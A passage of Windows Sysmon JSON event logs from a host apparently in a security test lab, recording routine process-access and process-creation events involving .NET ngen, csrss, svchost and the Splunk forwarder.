C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:36.244","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B7-5F2D-0000-001063F20C00}","TargetProcessId":"4928","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7520,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:36.244\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B7-5F2D-0000-001063F20C00}\r\nTargetProcessId: 4928\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:36.244","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B7-5F2D-0000-001063F20C00}","TargetProcessId":"4928","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7521,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:36.260\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42DC-5F2D-0000-001064F80D00}\r\nTargetProcessId: 4928\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:36.260","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42DC-5F2D-0000-001064F80D00}","TargetProcessId":"4928","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7522,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:36.400\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42DC-5F2D-0000-001038FC0D00}\r\nTargetProcessId: 4288\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:36.400","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42DC-5F2D-0000-001038FC0D00}","TargetProcessId":"4288","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7523,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:36.400\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42DC-5F2D-0000-001038FC0D00}\r\nTargetProcessId: 4288\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:36.400","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42DC-5F2D-0000-001038FC0D00}","TargetProcessId":"4288","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7524,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:36.400\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42DC-5F2D-0000-001038FC0D00}\r\nTargetProcessId: 4288\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:36.400","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42DC-5F2D-0000-001038FC0D00}","TargetProcessId":"4288","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":7525,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:36.590\r\nProcessGuid: {90617006-42DC-5F2D-0000-0010AAFF0D00}\r\nProcessId: 1512\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nFileVersion: 10.0.10011.16384\r\nDescription: SplunkMonNoHandle Control Program\r\nProduct: Windows (R) Win 7 DDK driver\r\nCompany: Windows (R) Win 7 DDK provider\r\nOriginalFileName: SplunkMonNoHandle.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 12:02:36.590","ProcessGuid":"{90617006-42DC-5F2D-0000-0010AAFF0D00}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","FileVersion":"10.0.10011.16384","Description":"SplunkMonNoHandle Control Program","Product":"Windows (R) Win 7 DDK driver","Company":"Windows (R) Win 7 DDK provider","OriginalFileName":"SplunkMonNoHandle.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 12:02:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7526,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:36.588\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-42DC-5F2D-0000-0010AAFF0D00}\r\nTargetProcessId: 1512\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:36.588","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-42DC-5F2D-0000-0010AAFF0D00}","TargetProcessId":"1512","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7527,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:36.588\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42DC-5F2D-0000-0010AAFF0D00}\r\nTargetProcessId: 1512\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 